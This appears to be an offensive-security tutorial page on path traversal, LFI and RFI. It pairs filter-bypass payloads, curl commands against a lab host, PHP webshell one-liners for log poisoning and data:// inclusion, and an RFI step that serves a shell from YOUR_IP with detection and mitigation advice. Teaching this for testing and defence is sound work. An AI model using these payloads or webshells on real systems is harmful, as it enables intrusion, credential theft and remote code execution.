Skip to content
Pwnversity
WEB-LFIintermediate · 19 min · upd. 2026-11

LFI / RFI & path traversal

OWASP A01:2025CWE-22CWE-98T1190

When the application uses user input to build a file path (or an include/require), the attacker can escape the intended directory (path traversal), read arbitrary files (LFI) or make the server include a remote file (RFI). With inclusion, the file is not just read: it is executed as code, and reading turns into RCE if you manage to get something you control included. The invariant that breaks is confinement: the resulting path should always stay inside a controlled base.

flowchart LR
    A[Attacker] -->|"?page=../../etc/passwd"| APP["App<br/>(concatenates into the path)"]
    APP -->|"opens or includes the resolved path"| FS[(File system)]
    FS -->|"contents"| APP
    APP -->|"read: config, keys, logs"| A
    APP -. "file you control + include" .-> RCE["Code execution"]

It starts as “I can read a file” and, chained well, ends in code execution. It is useful for two things:

  • Widening reconnaissance: source code, config with DB credentials, SSH keys, system users, scheduled tasks, kernel version, logs with sessions.
  • Getting RCE: including a file you managed to write to (log, session, upload) or a remote one (RFI).

The web server process sets the ceiling: you can only read what that user can read.

Path traversal LFI RFI
What it is Leaving the allowed directory by manipulating the path The app includes and executes a local file it shouldn’t The app includes and executes a remote file (your server)
Typical use Reading (or writing) somewhere else Reading source and config; RCE if you control the included file Direct RCE
Requirement The path is built from your input Plus, that path ends up in an include Plus, allow_url_include = On and allow_url_fopen = On (PHP)

Two entry points with different mechanics:

  • Path read (?file=report.pdf): the app opens and returns the file. At most, you read.
  • Dynamic inclusion (include($_GET['page'])): the app interprets the file. If the file contains code, it runs.
Linux Windows
Root and separator / C:\ and \ (many frameworks also accept /)
First test /etc/passwd, /etc/hosts ..\..\..\..\windows\win.ini
Case Case-sensitive Usually case-insensitive
Path What for
/etc/passwd Users, home and shell: who to target
/home/<user>/.ssh/id_rsa (or id_ed25519) Private key: straight SSH as that user
App config (config.php, .env, settings.py, wp-config.php…) DB credentials and secrets
/etc/crontab · /proc/version Scheduled tasks · exact kernel
/var/log/apache2/access.log · /var/log/auth.log Leaked sessions or credentials, and log poisoning candidates
/var/lib/tomcat*/conf/tomcat-users.xml (or $CATALINA_HOME/conf/) Users with the manager-gui role
/etc/shadow Only readable by root: don’t use it as your first test
C:\Windows\Panther\Unattend.xml Unattended install credentials, sometimes in Base64
C:\Windows\Repair\SAM + system Copy of local hashes on old systems (XP/2003); it dates from installation and may be outdated
php.ini · web.config · Apache/IIS logs allow_url_include, disable_functions, connection strings
Variant What you get Condition
Read path traversal Read files outside the base The path is built from your input
Write path traversal Overwrite files (uploads, Zip Slip) The destination name comes from your input
LFI Read or execute local files include/require with your input
LFI → RCE Code execution A file you write, included and interpreted
RFI Direct execution allow_url_include = On (or a UNC path on Windows)
Proxy ↔ backend normalization flaw Read files or reach blocked paths Proxy and backend resolve the path differently
HTML → PDF with file:// Get a local file into the PDF The server renders user HTML
  • Parameters that load a resource: ?file=, ?page=, ?template=, ?lang=, ?path=, ?download=; also id, view, action, url.
  • In GET, POST, cookies and headers.
  • If the value looks like a path or a file name, try to break out of it.

There are two different questions: what can I read? and which path do I control? Mixing them gives false negatives: asking for /etc/shadow without being root, seeing nothing and concluding there is no LFI.

  1. Find a fixed, known file of the application itself (a .js or .css you already see in the browser, e.g. /js/login.js).
  2. Reach it going up one level at a time: ../js/login.js, ../../js/login.js… If you can read it, you control the path and you know how deep you are.
  3. With that primitive isolated, push the limits: outside the docroot, other files, wrappers.

Why ../../html/index.php can work while ../../../../../../var/www/html/index.php doesn’t: the include may add a prefix (include("pages/" . $p)) or a suffix ($p . ".php"), or a filter may block /var/ or absolute paths. Try short relative paths before declaring the primitive dead.

Make the parameter fail: the warning often returns the path (include(): Failed opening 'x' for inclusion ... in /var/www/html/index.php). Ways to break it:

  • The value: invalid characters, non-existent path, unexpected type (page[]=x), empty, excessive length, malformed wrapper.
  • The request: unsupported method, duplicated parameter, required parameter removed, double encoding.
Ventana de terminal
curl -s "http://app.lab.local/index.php?page=doesnotexist" | grep -i 'failed opening'
Filter Bypass Example
Strips ../ once Nesting ....//....//etc/passwd
Looks for the text ../ URL encoding %2e%2e%2f · ..%2f · %2e%2e/
Decodes once, then validates Double encoding %252e%252e%252f
Old servers (IIS, Tomcat) UTF-8 overlong %c0%ae (.) · %c0%af (/)
Fixed suffix (.php) Null byte (PHP < 5.3.4 only) or a wrapper /etc/passwd%00
Blocks traversal sequences Absolute path /etc/passwd
Requires a prefix (/var/www/images/) Keep the prefix, then climb out /var/www/images/../../../etc/passwd

The underlying rule: if the filter validates before decoding and normalizing, the server rebuilds the ../ afterwards. Combine techniques (nesting + encoding) when one is not enough.

Ventana de terminal
curl -s "http://app.lab.local/?page=....//....//....//etc/passwd"
curl -s "http://app.lab.local/?page=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
curl -s "http://app.lab.local/?page=%252e%252e%252f%252e%252e%252fetc%252fpasswd"
# Payload fuzzing: filter on the size of the normal response
ffuf -u "http://app.lab.local/index.php?page=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 1234

Not every traversal lives in a parameter. When a reverse proxy (nginx, a load balancer, a WAF) and the backend resolve the path differently, a gap opens up.

nginx: alias without a trailing slash (off-by-slash).

Configuration Request Result
location /images { alias /data/w3/images/; } /images../app/config.env Serves /data/w3/app/config.env: one-level traversal
location /images/ { alias /data/w3/images/; } /images../app/config.env Doesn’t match the location: safe

Tomcat behind a proxy. The proxy denies /manager (403), but Tomcat treats ; as the start of path parameters and resolves /..;/ as /../. If the proxy doesn’t normalize it the same way, /anything/..;/manager/html reaches the backend as /manager/html.

Other mismatches. nginx decodes %XX, resolves ./ and ../ and merges // before evaluating location blocks; if the backend decodes again or normalizes differently, there is a gap. Also, a proxy_pass without a URI forwards the original URI unnormalized: that is why ..;/ reaches a Tomcat behind nginx intact.

Payload What it abuses
//admin Rules that don’t merge duplicate slashes
/%2fadmin Encoded slash that the backend decodes differently (nginx decodes and merges it by default: works against other proxies or with merge_slashes off)
/public/../admin Traversal into the protected path
/admin/ · /admin/./ Trailing slash
/ADMIN Proxy and backend treat case differently
/api%2f..%2fadmin Encoding plus path confusion
Ventana de terminal
curl -s --path-as-is "http://app.lab.local/images../app/config.env"
curl -s --path-as-is "http://app.lab.local/x/..;/manager/html"
# --path-as-is: curl doesn't collapse ../ or /./ in the path; without it the request goes out
# already normalized. It doesn't affect the query string.

Method: identify blocked paths (/admin, /api/private, /debug), send variants, compare status code, length and content, and document the original request, what the backend receives and the impact. The same approach bypasses path-based access controls, not just file reads.

If the server renders user HTML (invoices, reports) with an engine that allows file:// (wkhtmltopdf before 0.12.6 or with --enable-local-file-access, misconfigured headless Chrome…), an <iframe src="file:///etc/passwd"> puts the file into the PDF. It is the same vector that gives SSRF when you use http:// towards the internal network instead of file://.

The php://filter wrapper: reading code without running it

Section titled “The php://filter wrapper: reading code without running it”

Including a .php file runs it, so you never see the code. php://filter returns it transformed (as Base64) without executing it: you read the source, extract DB credentials, keys, other include() calls and the authentication logic. It does not need allow_url_include.

Ventana de terminal
# if the include already appends ".php", don't add it yourself: resource=config
curl -s "http://app.lab.local/?page=php://filter/convert.base64-encode/resource=config" \
| grep -oE '[A-Za-z0-9+/=]{40,}' | base64 -d

Logs store the URL and, depending on the LogFormat, headers. Look for PHPSESSID, sid or token in URLs, logins over GET (/login?user=admin&pass=…) and Cookie or Authorization: Bearer headers. With a valid cookie you can hijack the session. If you have the session ID, you can also read the session file (/var/lib/php/sessions/sess_<id> on Debian/Ubuntu).

Ventana de terminal
curl -s "http://app.lab.local/?page=....//....//....//var/log/apache2/access.log" \
| grep -iE 'PHPSESSID|token|pass|Authorization'

You need three things at once: a file you can write to, the application including it, and the application interpreting it as code. If one is missing, you have LFI without RCE.

Route How Notes
Log poisoning PHP in the User-Agent (or as the SSH/FTP user name) → include access.log or auth.log The web process must be able to read the log; on Debian/Ubuntu it can’t by default
Session poisoning A value stored in $_SESSION carries PHP → include sess_<id> Path in session.save_path (Debian: /var/lib/php/sessions)
Upload + LFI Upload a file with PHP (avatar, attachment), find its path and include it The upload doesn’t have to execute: the include runs it
php://filter chains Chain conversion filters (iconv) to generate the PHP code without writing any file An include on a path you control is enough; no allow_url_include needed. The payload grows a lot (it can exceed the header size limit): use minimal PHP or send it via POST
Temporary files Include an upload’s temp file before it is deleted Race condition: unreliable
php://input · data:// Code in the body or embedded in the URL Both require allow_url_include = On
Ventana de terminal
# Log poisoning: once, written correctly, with curl (the browser URL-encodes < and >)
curl -s http://app.lab.local/ -A "<?php system(\$_GET['c']); ?>"
curl -s "http://app.lab.local/?page=/var/log/apache2/access.log&c=id"
GET /index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id HTTP/1.1
# the base64 is: <?php system($_GET['c']); ?> (requires allow_url_include=On)

Once RCE is confirmed, the next step is an interactive shell: see from web vulnerability to shell.

If include()/require() accept a URL, the victim downloads your code and runs it. PHP requirements: allow_url_include = On and allow_url_fopen = On (the latter on by default). Check them in phpinfo() or by reading php.ini through the LFI itself. allow_url_include is deprecated since PHP 7.4, but it still exists.

Ventana de terminal
echo '<?php system($_GET["c"]); ?>' > shell.txt && python3 -m http.server 8000
curl -s "http://app.lab.local/?page=http://YOUR_IP:8000/shell.txt&c=id"
# if the include appends ".php", end your URL with "?" so the suffix becomes a query string:
# ?page=http://YOUR_IP:8000/shell.txt?

On Windows, even with allow_url_include set to Off, PHP can open UNC paths (\\YOUR_IP\share\shell.php) because they are a network path, not a URL. You need an SMB share of your own (impacket-smbserver) and outbound access from the server to port 445.

  1. Find parameters that load resources and confirm the primitive with a fixed app file, going up one level at a time.
  2. Get the absolute path by triggering an error.
  3. Tell reading from inclusion: is the PHP code shown or executed?
  4. If there is a filter, identify it by changing one thing at a time and apply the bypass.
  5. Read whatever widens recon: source via php://filter, config, keys, logs.
  6. Look for the route to RCE: log, session, upload or filter chain; RFI if allowed.
  7. With RCE: a stable shell and local privilege escalation.
  • curl with --path-as-is to send traversal unnormalized.
  • ffuf (card) with the lists under SecLists/Fuzzing/LFI/.
  • Burp Repeater to iterate bypasses one at a time.
  • php_filter_chain_generator (Synacktiv) for php://filter chains.
  • python3 -m http.server and impacket-smbserver to serve the RFI payload.
  • Reading config and keys → access to the DB, SSH or other services.
  • LFI → RCE (log, session, upload, filter chain) or RFI → shell as the web user.
  • Write traversal (Zip Slip, upload name) → overwrite application files.
  • Proxy normalization flaw → reach blocked panels (/manager, /admin).
  • Chains with file upload, SSRF and XXE, which also read local files.
  • Parameters with ../, ..%2f, %252e, %c0%ae, php://, data://, absolute paths or log file names.
  • Paths with ..;/, //, encoded slashes or ../ glued to a location prefix.
  • Inclusion of logs, session files or /proc; outbound HTTP or SMB requests from the web server (RFI).
  • User-Agent values containing PHP code in access logs.
  • Bursts of file not found errors with traversal paths (fuzzing).

WAF, access and application logs (with the resolved path if possible), egress from the web segment, child processes of the web server (if it reaches RCE) and FIM on sensitive files.

  1. Don’t use user input in paths or inclusions. If a choice is needed, use an allowlist by identifier (an id → file map).
  2. If there is no other way: resolve the real path (canonicalize, including symlinks) and check it stays contained in the base by comparing path components (os.path.commonpath([base, resolved]) == base), not with a text prefix: path.startswith("/srv/uploads") lets /srv/uploads-evil/x through.
  3. Decode and normalize before validating, once and in a single place.
  4. PHP: allow_url_include=Off, allow_url_fopen=Off if not needed, open_basedir, and errors kept out of the response (display_errors=Off).
  5. nginx: location and alias both with a trailing slash (or root instead of alias). Proxies: normalize the same way as the backend, or reject paths with ;, %2f or ...
  6. Logs and sessions not readable by the web server user; least privilege and a container or chroot to limit what can be read.
  7. HTML → PDF engines without access to file:// or the internal network.

Rotate any secrets that may have been read (config, SSH keys, tokens), hunt for webshells and poisoned logs, review what the web user ran, and fix path construction and the proxy configuration.

  • CVE-2021-41773 and CVE-2021-42013 (Apache HTTP Server 2.4.49 and 2.4.50, 2021): path traversal through faulty normalization (the second bypassed the first fix with double encoding). It allowed reading files outside the docroot if those directories weren’t protected with Require all denied (the default configuration does protect them) and, with CGI enabled on those paths, RCE. Mass exploited.
  • CVE-2020-1938 “Ghostcat” (Apache Tomcat 7.0.0–7.0.99, 8.5.0–8.5.50 and 9.0.0.M1–9.0.30, 2020): the AJP connector (port 8009), enabled by default, let anyone who could reach it read any file in the web application (e.g. WEB-INF/web.xml) and, if a file could be uploaded, include it as JSP and run code.
  • CVE-2018-13379 (Fortinet FortiOS SSL VPN): unauthenticated traversal that exposed the session file with plaintext credentials; used in real campaigns for years.
  • nginx off-by-slash and Tomcat ..;/ (2018): Orange Tsai presented this family of proxy ↔ backend normalization flaws at Black Hat USA 2018, with real cases in large companies’ products.

Product-specific CVEs on NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).

  • Candidate parameters located (GET, POST, cookies, headers).
  • Path primitive confirmed with a fixed application file.
  • Absolute path obtained or ruled out.
  • Reading told apart from inclusion.
  • Bypasses tested one at a time (nesting, encoding, double encoding, absolute).
  • Proxy ↔ backend normalization tested on blocked paths.
  • Source read with php://filter, if it is PHP.
  • LFI → RCE assessed (log, session, upload, filter chain) and RFI if applicable.
  • Impact shown without exfiltrating real data or leaving poisoned logs behind.